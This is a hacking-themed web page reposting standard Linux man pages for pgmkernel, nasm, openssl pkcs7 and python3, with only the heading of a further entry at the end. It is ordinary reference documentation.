               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1545 - Linux cli command pgmkernel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmkernel and provides detailed information about the command pgmkernel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmkernel.

.

NAME 🖥️ pgmkernel 🖥️

generate a convolution kernel

SYNOPSIS

pgmkernel [-weight=number] [-maxval=] {size | width height}

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pgmkernel generates a convolution kernel that you can use with pnmconvol. The kernel is one where the weight of each location is inversely proportional to its distance from the center of the kernel.

pgmkernel generates a PGM image of width and height size if you specify one argument, or width width and height height if you specify two arguments.

pgmkernel computes the convolution function K as follows.

K(i,j) = 1 / ( 1 + w * sqrt(i^2 + j^2))

where w is a coefficient specified via the -weight option. i and j are measured in pixels. K is zero everywhere beyond the specified kernel width and height.

The sample values in the PGM output have this value scaled and biased using the protocol pnmconvol specifies for representing the real numbers K in PGM.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pgmkernel recognizes the following command line options:

**-weight=**number
The distance from the center is weighted by this; a higher number means the value falls off more quickly as you go away from the center.

This must be a positive real number.

The default is 6.0.

**-maxval=**maxval
The maxval for the PGM kernel.

Default is 255.

This option was new in Netpbm 10.65 (December 2013). Before that, the maxval is always 255.

LIMITATIONS

The computation time is proportional to width*height. This increases rapidly with the increase of the kernel size. A better approach could be using a FFT in these cases.

HISTORY

Before Netpbm 10.65 (December 2013), the output was always in Plain (text) PGM format. (Now, like standard Netpbm programs, the default is raw PGM and you can get Plain PGM with a -plain option).

Before Netpbm 10.65 (December 2013), this manual said negative values for -weight were valid (as long as they were greater than -1.0). But the program never worked with negative numbers and it isn’t clear that the result would be useful, so -weight is now required to be nonnegative and the program fails gracefully if you specify a negative value.

SEE ALSO

pnmconvol(1) , pnmsmooth(1) pamgauss(1) pgm(1)

AUTHOR

Alberto Accomazzi ([email protected]).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmkernel.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1546 - Linux cli command nasm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nasm and provides detailed information about the command nasm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nasm.

NAME 🖥️ nasm 🖥️

the Netwide Assembler, a portable 80x86 assembler

SYNOPSIS

nasm [-@ response file] [-f format] [-o outfile] [-l listfile] [options…] filename

DESCRIPTION

The nasm command assembles the file filename and directs output to the file outfile if specified. If outfile is not specified, nasm will derive a default output file name from the name of its input file, usually by appending ‘.o’ or ‘.obj’, or by removing all extensions for a raw binary file. Failing that, the output file name will be ‘nasm.out’.

OPTIONS

-@ filename

Causes nasm to process options from filename as if they were included on the command line.

-a

Causes nasm to assemble the given input file without first applying the macro preprocessor.

-D|-d macro[=value]

Pre-defines a single-line macro.

-E|-e

Causes nasm to preprocess the given input file, and write the output to stdout (or the specified output file name), and not actually assemble anything.

-f format

Specifies the output file format. To see a list of valid output formats, use the -hf option.

-F format

Specifies the debug information format. To see a list of valid output formats, use the -y option (for example -felf -y).

-g

Causes nasm to generate debug information.

-gformat

Equivalent to -g -F format.

-h

Causes nasm to exit immediately, after giving a summary of its invocation options.

-hf

Same as -h , but also lists all valid output formats.

-I|-i directory

Adds a directory to the search path for include files. The directory specification must include the trailing slash, as it will be directly prepended to the name of the include file.

-l listfile

Causes an assembly listing to be directed to the given file, in which the original source is displayed on the right hand side (plus the source for included files and the expansions of multi-line macros) and the generated code is shown in hex on the left.

-M

Causes nasm to output Makefile-style dependencies to stdout; normal output is suppressed.

-MG file

Same as -M but assumes that missing Makefile dependencies are generated and added to dependency list without a prefix.

-MF file

Output Makefile-style dependencies to the specified file.

-MD file

Same as a combination of -M and -MF options.

-MT file

Override the default name of the dependency target dependency target name. This is normally the same as the output filename, specified by the -o option.

-MQ file

The same as -MT except it tries to quote characters that have special meaning in Makefile syntax. This is not foolproof, as not all characters with special meaning are quotable in Make.

-MP

Emit phony target.

-O number

Optimize branch offsets.

·

-O0: No optimization

·

-O1: Minimal optimization

·

-Ox: Multipass optimization (default)

-o outfile

Specifies a precise name for the output file, overriding nasms default means of determining it.

-P|-p file

Specifies a file to be pre-included, before the main source file starts to be processed.

-s

Causes nasm to send its error messages and/or help text to stdout instead of stderr.

-t

Causes nasm to assemble in SciTech TASM compatible mode.

-U|-u macro

Undefines a single-line macro.

-v

Causes nasm to exit immediately, after displaying its version number.

*-W[no-]foo

Causes nasm to enable or disable certain classes of warning messages, in gcc-like style, for example -Wlabel-orphan or -Wno-orphan-labels.

-w*[+-]foo*

Causes nasm to enable or disable certain classes of warning messages, for example -w+label-orphan or -w-macro-params.

-X format

Specifies error reporting format (gnu or vc).

-y

Causes nasm to list supported debug formats.

-Z filename

Causes nasm to redirect error messages to filename. This option exists to support operating systems on which stderr is not easily redirected.

–prefix, –postfix

Prepend or append (respectively) the given argument to all global or extern variables.

SYNTAX

This man page does not fully describe the syntax of nasms assembly language, but does give a summary of the differences from other assemblers.

Registers have no leading ‘%’ sign, unlike gas, and floating-point stack registers are referred to as st0, st1, and so on.

Floating-point instructions may use either the single-operand form or the double. A TO keyword is provided; thus, one could either write

fadd st0,st1 fadd st1,st0

or one could use the alternative single-operand forms

fadd st1 fadd to st1

Uninitialised storage is reserved using the RESB, RESW, RESD, RESQ, REST and RESO pseudo-opcodes, each taking one parameter which gives the number of bytes, words, doublewords, quadwords or ten-byte words to reserve.

Repetition of data items is not done by the DUP keyword as seen in DOS assemblers, but by the use of the TIMES prefix, like this:

message: times 3 db abc times 64-$+message db 0

which defines the string abcabcabc, followed by the right number of zero bytes to make the total length up to 64 bytes.

Symbol references are always understood to be immediate (i.e. the address of the symbol), unless square brackets are used, in which case the contents of the memory location are used. Thus:

mov ax,wordvar

loads AX with the address of the variable wordvar, whereas

mov ax,[wordvar] mov ax,[wordvar+1] mov ax,[es:wordvar+bx]

all refer to the contents of memory locations. The syntaxes

mov ax,es:wordvar[bx] es mov ax,wordvar[1]

are not legal at all, although the use of a segment register name as an instruction prefix is valid, and can be used with instructions such as LODSB which can’t be overridden any other way.

Constants may be expressed numerically in most formats: a trailing H, Q or B denotes hex, octal or binary respectively, and a leading ‘0x’ or ‘$’ denotes hex as well. Leading zeros are not treated specially at all. Character constants may be enclosed in single or double quotes; there is no escape character. The ordering is little-endian (reversed), so that the character constant abcd denotes 0x64636261 and not 0x61626364.

Local labels begin with a period, and their ‘locality’ is granted by the assembler prepending the name of the previous non-local symbol. Thus declaring a label ‘.loop’ after a label ‘label’ has actually defined a symbol called ‘label.loop’.

DIRECTIVES

SECTION name or SEGMENT name causes nasm to direct all following code to the named section. Section names vary with output file format, although most formats support the names .text, .data and .bss. (The exception is the obj format, in which all segments are user-definable.)

ABSOLUTE address causes nasm to position its notional assembly point at an absolute address: so no code or data may be generated, but you can use RESB, RESW and RESD to move the assembly point further on, and you can define labels. So this directive may be used to define data structures. When you have finished doing absolute assembly, you must issue another SECTION directive to return to normal assembly.

BITS 16, BITS 32 or BITS 64 switches the default processor mode for which nasm is generating code: it is equivalent to USE16 or USE32 in DOS assemblers.

EXTERN symbol and GLOBAL symbol import and export symbol definitions, respectively, from and to other modules. Note that the GLOBAL directive must appear before the definition of the symbol it refers to.

STRUC strucname and ENDSTRUC, when used to bracket a number of RESB, RESW or similar instructions, define a data structure. In addition to defining the offsets of the structure members, the construct also defines a symbol for the size of the structure, which is simply the structure name with size tacked on to the end.

FORMAT-SPECIFIC DIRECTIVES

ORG address is used by the bin flat-form binary output format, and specifies the address at which the output code will eventually be loaded.

GROUP grpname seg1 seg2… is used by the obj (Microsoft 16-bit) output format, and defines segment groups. This format also uses UPPERCASE, which directs that all segment, group and symbol names output to the object file should be in uppercase. Note that the actual assembly is still case sensitive.

LIBRARY libname is used by the rdf output format, and causes a dependency record to be written to the output file which indicates that the program requires a certain library in order to run.

MACRO PREPROCESSOR

Single-line macros are defined using the %define or %idefine commands, in a similar fashion to the C preprocessor. They can be overloaded with respect to number of parameters, although defining a macro with no parameters prevents the definition of any macro with the same name taking parameters, and vice versa. %define defines macros whose names match case-sensitively, whereas %idefine defines case-insensitive macros.

Multi-line macros are defined using %macro and %imacro (the distinction is the same as that between %define and %idefine), whose syntax is as follows

%macro name minprm[-maxprm][+][.nolist] [defaults] %endmacro

Again, these macros may be overloaded. The trailing plus sign indicates that any parameters after the last one get subsumed, with their separating commas, into the last parameter. The defaults part can be used to specify defaults for unspecified macro parameters after minparam. %endm is a valid synonym for %endmacro.

To refer to the macro parameters within a macro expansion, you use %1, %2 and so on. You can also enforce that a macro parameter should contain a condition code by using %+1, and you can invert the condition code by using %-1. You can also define a label specific to a macro invocation by prefixing it with a double ‘%’ sign.

Files can be included using the %include directive, which works like C.

The preprocessor has a ‘context stack’, which may be used by one macro to store information that a later one will retrieve. You can push a context on the stack using %push, remove one using %pop, and change the name of the top context (without disturbing any associated definitions) using %repl. Labels and %define macros specific to the top context may be defined by prefixing their names with %$, and things specific to the next context down with %$$, and so on.

Conditional assembly is done by means of %ifdef, %ifndef, %else and %endif as in C. (Except that %ifdef can accept several putative macro names, and will evaluate TRUE if any of them is defined.) In addition, the directives %ifctx and %ifnctx can be used to condition on the name of the top context on the context stack. The obvious set of ‘else-if’ directives, %elifdef, %elifndef, %elifctx and %elifnctx are also supported.

BUGS

Please report bugs through the bug tracker function at http://nasm.us.

SEE ALSO

as(1), ld(1).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1547 - Linux cli command openssl-pkcs7ssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-pkcs7ssl and provides detailed information about the command openssl-pkcs7ssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-pkcs7ssl.

NAME 🖥️ openssl-pkcs7ssl 🖥️

pkcs7 - PKCS#7 command

SYNOPSIS

openssl pkcs7 [-help] [-inform DER|PEM] [-outform DER|PEM] [-in filename] [-out filename] [-print] [-print_certs] [-quiet] [-text] [-noout] [-engine id] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command processes PKCS#7 files. Note that it only understands PKCS#7 v 1.5 as specified in IETF RFC 2315. It cannot currently parse CMS as described in IETF RFC 2630.

OPTIONS

-help
Print out a usage message.

-inform DER|PEM, -outform DER|PEM
The input and formats; the default is PEM. See openssl-format-options (1) for details. The data is a PKCS#7 Version 1.5 structure.

-in filename
This specifies the input filename to read from or standard input if this option is not specified.

-out filename
Specifies the output filename to write to or standard output by default.

-print
Print out the full PKCS7 object.

-print_certs
Prints out any certificates or CRLs contained in the file. They are preceded by their subject and issuer names in one line format.

-quiet
When used with -print_certs, prints out just the PEM-encoded certificates without any other output.

-text
Prints out certificate details in full rather than just subject and issuer names.

-noout
Don’t output the encoded version of the PKCS#7 structure (or certificates if -print_certs is set).

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

EXAMPLES

Convert a PKCS#7 file from PEM to DER:

openssl pkcs7 -in file.pem -outform DER -out file.der

Output all certificates in a file:

openssl pkcs7 -in file.pem -print_certs -out certs.pem

SEE ALSO

openssl (1), openssl-crl2pkcs7 (1)

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2022 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1548 - Linux cli command python3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command python3 and provides detailed information about the command python3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the python3.

NAME 🖥️ python3 🖥️

an interpreted, interactive, object-oriented programming language

SYNOPSIS

python [ -B ] [ -b ] [ -d ] [ -E ] [ -h ] [ -i ] [ -I ]
[ -m module-name ] [ -q ] [ -O ] [ -OO ] [ -P ] [ -s ] [ -S ] [ -u ]
[ -v ] [ -V ] [ -W argument ] [ -x ] [ -X option ] [ -? ]
[ –check-hash-based-pycs default | always | never ]
[ –help ] [ –help-env ] [ –help-xoptions ] [ –help-all ]
[ -c command | script | - ] [ arguments ]

DESCRIPTION

Python is an interpreted, interactive, object-oriented programming language that combines remarkable power with very clear syntax. For an introduction to programming in Python, see the Python Tutorial. The Python Library Reference documents built-in and standard types, constants, functions and modules. Finally, the Python Reference Manual describes the syntax and semantics of the core language in (perhaps too) much detail. (These documents may be located via the INTERNET RESOURCES below; they may be installed on your system as well.)

Python’s basic power can be extended with your own modules written in C or C++. On most systems such modules may be dynamically loaded. Python is also adaptable as an extension language for existing applications. See the internal documentation for hints.

Documentation for installed Python modules and packages can be viewed by running the pydoc program.

COMMAND LINE OPTIONS

-B
Don’t write .pyc files on import. See also PYTHONDONTWRITEBYTECODE.

-b
Issue warnings about str(bytes_instance), str(bytearray_instance) and comparing bytes/bytearray with str. (-bb: issue errors)

**-c **command
Specify the command to execute (see next section). This terminates the option list (following options are passed as arguments to the command).

**–check-hash-based-pycs **mode
Configure how Python evaluates the up-to-dateness of hash-based .pyc files.

-d
Turn on parser debugging output (for expert only, depending on compilation options).

-E
Ignore environment variables like PYTHONPATH and PYTHONHOME that modify the behavior of the interpreter.

-h , -? , –help
Prints the usage for the interpreter executable and exits.

–help-env
Prints help about Python-specific environment variables and exits.

–help-xoptions
Prints help about implementation-specific -X options and exits.

–help-all
Prints complete usage information and exits.

-i
When a script is passed as first argument or the -c option is used, enter interactive mode after executing the script or the command. It does not read the $PYTHONSTARTUP file. This can be useful to inspect global variables or a stack trace when a script raises an exception.

-I
Run Python in isolated mode. This also implies -E, -P and -s. In isolated mode sys.path contains neither the script’s directory nor the user’s site-packages directory. All PYTHON* environment variables are ignored, too. Further restrictions may be imposed to prevent the user from injecting malicious code.

**-m **module-name
Searches sys.path for the named module and runs the corresponding .py file as a script. This terminates the option list (following options are passed as arguments to the module).

-O
Remove assert statements and any code conditional on the value of __debug__; augment the filename for compiled (bytecode) files by adding .opt-1 before the .pyc extension.

-OO
Do -O and also discard docstrings; change the filename for compiled (bytecode) files by adding .opt-2 before the .pyc extension.

-P
Don’t automatically prepend a potentially unsafe path to sys.path such as the current directory, the script’s directory or an empty string. See also the PYTHONSAFEPATH environment variable.

-q
Do not print the version and copyright messages. These messages are also suppressed in non-interactive mode.

-s
Don’t add user site directory to sys.path.

-S
Disable the import of the module site and the site-dependent manipulations of sys.path that it entails. Also disable these manipulations if site is explicitly imported later.

-u
Force the stdout and stderr streams to be unbuffered. This option has no effect on the stdin stream.

-v
Print a message each time a module is initialized, showing the place (filename or built-in module) from which it is loaded. When given twice, print a message for each file that is checked for when searching for a module. Also provides information on module cleanup at exit.

-V , –version
Prints the Python version number of the executable and exits. When given twice, print more information about the build.

**-W **argument
Warning control. Python’s warning machinery by default prints warning messages to sys.stderr.

The simplest settings apply a particular action unconditionally to all warnings emitted by a process (even those that are otherwise ignored by default):

-Wdefault # Warn once per call location -Werror # Convert to exceptions -Walways # Warn every time -Wmodule # Warn once per calling module -Wonce # Warn once per Python process -Wignore # Never warn

The action names can be abbreviated as desired and the interpreter will resolve them to the appropriate action name. For example, -Wi is the same as -Wignore .

The full form of argument is: action:message:category:module:lineno

Empty fields match all values; trailing empty fields may be omitted. For example -W ignore::DeprecationWarning ignores all DeprecationWarning warnings.

The action field is as explained above but only applies to warnings that match the remaining fields.

The message field must match the whole printed warning message; this match is case-insensitive.

The category field matches the warning category (ex: “DeprecationWarning”). This must be a class name; the match test whether the actual warning category of the message is a subclass of the specified warning category.

The module field matches the (fully-qualified) module name; this match is case-sensitive.

The lineno field matches the line number, where zero matches all line numbers and is thus equivalent to an omitted line number.

Multiple -W options can be given; when a warning matches more than one option, the action for the last matching option is performed. Invalid -W options are ignored (though, a warning message is printed about invalid options when the first warning is issued).

Warnings can also be controlled using the PYTHONWARNINGS environment variable and from within a Python program using the warnings module. For example, the warnings.filterwarnings() function can be used to use a regular expression on the warning message.

**-X **option
Set implementation-specific option. The following options are available:

-X faulthandler: enable faulthandler

-X showrefcount: output the total reference count and number of used memory blocks when the program finishes or after each statement in the interactive interpreter. This only works on debug builds

-X tracemalloc: start tracing Python memory allocations using the tracemalloc module. By default, only the most recent frame is stored in a traceback of a trace. Use -X tracemalloc=NFRAME to start tracing with a traceback limit of NFRAME frames

-X importtime: show how long each import takes. It shows module name, cumulative time (including nested imports) and self time (excluding nested imports). Note that its output may be broken in multi-threaded application. Typical usage is python3 -X importtime -c ‘import asyncio’

-X dev: enable CPython’s “development mode”, introducing additional runtime checks which are too expensive to be enabled by default. It will not be more verbose than the default if the code is correct: new warnings are only emitted when an issue is detected. Effect of the developer mode: * Add default warning filter, as -W default * Install debug hooks on memory allocators: see the PyMem_SetupDebugHooks() C function * Enable the faulthandler module to dump the Python traceback on a crash * Enable asyncio debug mode * Set the dev_mode attribute of sys.flags to True * io.IOBase destructor logs close() exceptions

-X utf8: enable UTF-8 mode for operating system interfaces, overriding the default locale-aware mode. -X utf8=0 explicitly disables UTF-8 mode (even when it would otherwise activate automatically). See PYTHONUTF8 for more details

-X pycache_prefix=PATH: enable writing .pyc files to a parallel tree rooted at the given directory instead of to the code tree.

-X warn_default_encoding: enable opt-in EncodingWarning for ’encoding=None'

-X no_debug_ranges: disable the inclusion of the tables mapping extra location information (end line, start column offset and end column offset) to every instruction in code objects. This is useful when smaller code objects and pyc files are desired as well as suppressing the extra visual location indicators when the interpreter displays tracebacks.

-X frozen_modules=[on|off]: whether or not frozen modules should be used. The default is “on” (or “off” if you are running a local build).

-X int_max_str_digits=number: limit the size of int<->str conversions. This helps avoid denial of service attacks when parsing untrusted data. The default is sys.int_info.default_max_str_digits. 0 disables.

-x
Skip the first line of the source. This is intended for a DOS specific hack only. Warning: the line numbers in error messages will be off by one!

INTERPRETER INTERFACE

The interpreter interface resembles that of the UNIX shell: when called with standard input connected to a tty device, it prompts for commands and executes them until an EOF is read; when called with a file name argument or with a file as standard input, it reads and executes a script from that file; when called with -c command, it executes the Python statement(s) given as command. Here command may contain multiple statements separated by newlines. Leading whitespace is significant in Python statements! In non-interactive mode, the entire input is parsed before it is executed.

If available, the script name and additional arguments thereafter are passed to the script in the Python variable sys.argv, which is a list of strings (you must first import sys to be able to access it). If no script name is given, sys.argv[0] is an empty string; if -c is used, sys.argv[0] contains the string ’-c’. Note that options interpreted by the Python interpreter itself are not placed in sys.argv.

In interactive mode, the primary prompt is `>>>’; the second prompt (which appears when a command is not complete) is `…’. The prompts can be changed by assignment to sys.ps1 or sys.ps2. The interpreter quits when it reads an EOF at a prompt. When an unhandled exception occurs, a stack trace is printed and control returns to the primary prompt; in non-interactive mode, the interpreter exits after printing the stack trace. The interrupt signal raises the KeyboardInterrupt exception; other UNIX signals are not caught (except that SIGPIPE is sometimes ignored, in favor of the IOError exception). Error messages are written to stderr.

FILES AND DIRECTORIES

These are subject to difference depending on local installation conventions; ${prefix} and ${exec_prefix} are installation-dependent and should be interpreted as for GNU software; they may be the same. On Debian GNU/{Hurd,Linux} the default for both is /usr.

${exec_prefix}/bin/python
Recommended location of the interpreter.

${prefix}/lib/python<version>
${exec_prefix}/lib/python<version>

Recommended locations of the directories containing the standard modules.

${prefix}/include/python<version>
${exec_prefix}/include/python<version>

Recommended locations of the directories containing the include files needed for developing Python extensions and embedding the interpreter.

ENVIRONMENT VARIABLES

PYTHONSAFEPATH
If this is set to a non-empty string, don’t automatically prepend a potentially unsafe path to sys.path such as the current directory, the script’s directory or an empty string. See also the -P option.

PYTHONHOME
Change the location of the standard Python libraries. By default, the libraries are searched in ${prefix}/lib/python<version> and ${exec_prefix}/lib/python<version>, where ${prefix} and ${exec_prefix} are installation-dependent directories, both defaulting to /usr/local. When $PYTHONHOME is set to a single directory, its value replaces both ${prefix} and ${exec_prefix}. To specify different values for these, set $PYTHONHOME to ${prefix}:${exec_prefix}.

PYTHONPATH
Augments the default search path for module files. The format is the same as the shell’s $PATH: one or more directory pathnames separated by colons. Non-existent directories are silently ignored. The default search path is installation dependent, but generally begins with ${prefix}/lib/python<version> (see PYTHONHOME above). The default search path is always appended to $PYTHONPATH. If a script argument is given, the directory containing the script is inserted in the path in front of $PYTHONPATH. The search path can be manipulated from within a Python program as the variable sys.path.

PYTHONPLATLIBDIR
Override sys.platlibdir.

PYTHONSTARTUP
If this is the name of a readable file, the Python commands in that file are executed before the first prompt is displayed in interactive mode. The file is executed in the same name space where interactive commands are executed so that objects defined or imported in it can be used without qualification in the interactive session. You can also change the prompts sys.ps1 and sys.ps2 in this file.

PYTHONOPTIMIZE
If this is set to a non-empty string it is equivalent to specifying the -O option. If set to an integer, it is equivalent to specifying -O multiple times.

PYTHONDEBUG
If this is set to a non-empty string it is equivalent to specifying the -d option. If set to an integer, it is equivalent to specifying -d multiple times.

PYTHONDONTWRITEBYTECODE
If this is set to a non-empty string it is equivalent to specifying the -B option (don’t try to write .pyc files).

PYTHONINSPECT
If this is set to a non-empty string it is equivalent to specifying the -i option.

PYTHONIOENCODING
If this is set before running the interpreter, it overrides the encoding used for stdin/stdout/stderr, in the syntax encodingname**:**errorhandler The errorhandler part is optional and has the same meaning as in str.encode. For stderr, the errorhandler part is ignored; the handler will always be ‘backslashreplace’.

PYTHONNOUSERSITE
If this is set to a non-empty string it is equivalent to specifying the -s option (Don’t add the user site directory to sys.path).

PYTHONUNBUFFERED
If this is set to a non-empty string it is equivalent to specifying the -u option.

PYTHONVERBOSE
If this is set to a non-empty string it is equivalent to specifying the -v option. If set to an integer, it is equivalent to specifying -v multiple times.

PYTHONWARNINGS
If this is set to a comma-separated string it is equivalent to specifying the -W option for each separate value.

PYTHONHASHSEED
If this variable is set to “random”, a random value is used to seed the hashes of str and bytes objects.

If PYTHONHASHSEED is set to an integer value, it is used as a fixed seed for generating the hash() of the types covered by the hash randomization. Its purpose is to allow repeatable hashing, such as for selftests for the interpreter itself, or to allow a cluster of python processes to share hash values.

The integer must be a decimal number in the range [0,4294967295]. Specifying the value 0 will disable hash randomization.

PYTHONINTMAXSTRDIGITS
Limit the maximum digit characters in an int value when converting from a string and when converting an int back to a str. A value of 0 disables the limit. Conversions to or from bases 2, 4, 8, 16, and 32 are never limited.

PYTHONMALLOC
Set the Python memory allocators and/or install debug hooks. The available memory allocators are malloc and pymalloc. The available debug hooks are debug, malloc_debug, and pymalloc_debug.

When Python is compiled in debug mode, the default is pymalloc_debug and the debug hooks are automatically used. Otherwise, the default is pymalloc.

PYTHONMALLOCSTATS
If set to a non-empty string, Python will print statistics of the pymalloc memory allocator every time a new pymalloc object arena is created, and on shutdown.

This variable is ignored if the $PYTHONMALLOC environment variable is used to force the malloc(3) allocator of the C library, or if Python is configured without pymalloc support.

PYTHONASYNCIODEBUG
If this environment variable is set to a non-empty string, enable the debug mode of the asyncio module.

PYTHONTRACEMALLOC
If this environment variable is set to a non-empty string, start tracing Python memory allocations using the tracemalloc module.

The value of the variable is the maximum number of frames stored in a traceback of a trace. For example, PYTHONTRACEMALLOC=1 stores only the most recent frame.

PYTHONFAULTHANDLER
If this environment variable is set to a non-empty string, faulthandler.enable() is called at startup: install a handler for SIGSEGV, SIGFPE, SIGABRT, SIGBUS and SIGILL signals to dump the Python traceback.

This is equivalent to the -X faulthandler option.

PYTHONEXECUTABLE
If this environment variable is set, sys.argv[0] will be set to its value instead of the value got through the C runtime. Only works on Mac OS X.

PYTHONUSERBASE
Defines the user base directory, which is used to compute the path of the user site-packages directory and Distutils installation paths for python setup.py install –user.

PYTHONPROFILEIMPORTTIME
If this environment variable is set to a non-empty string, Python will show how long each import takes. This is exactly equivalent to setting -X importtime on the command line.

PYTHONBREAKPOINT
If this environment variable is set to 0, it disables the default debugger. It can be set to the callable of your debugger of choice.

Debug-mode variables

Setting these variables only has an effect in a debug build of Python, that is, if Python was configured with the –with-pydebug build option.

PYTHONTHREADDEBUG
If this environment variable is set, Python will print threading debug info. The feature is deprecated in Python 3.10 and will be removed in Python 3.12.

PYTHONDUMPREFS
If this environment variable is set, Python will dump objects and reference counts still alive after shutting down the interpreter.

AUTHOR

The Python Software Foundation: https://www.python.org/psf/

INTERNET RESOURCES

Main website: https://www.python.org/
Documentation: https://docs.python.org/
Developer resources: https://devguide.python.org/
Downloads: https://www.python.org/downloads/
Module repository: https://pypi.org/
Newsgroups: comp.lang.python, comp.lang.python.announce

LICENSING

Python is distributed under an Open Source license. See the file “LICENSE” in the Python source distribution for information on terms & conditions for accessing and otherwise using Python and for a DISCLAIMER OF ALL WARRANTIES.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1549 - Linux cli command x86_64-linux-gnu-gp-collect-app

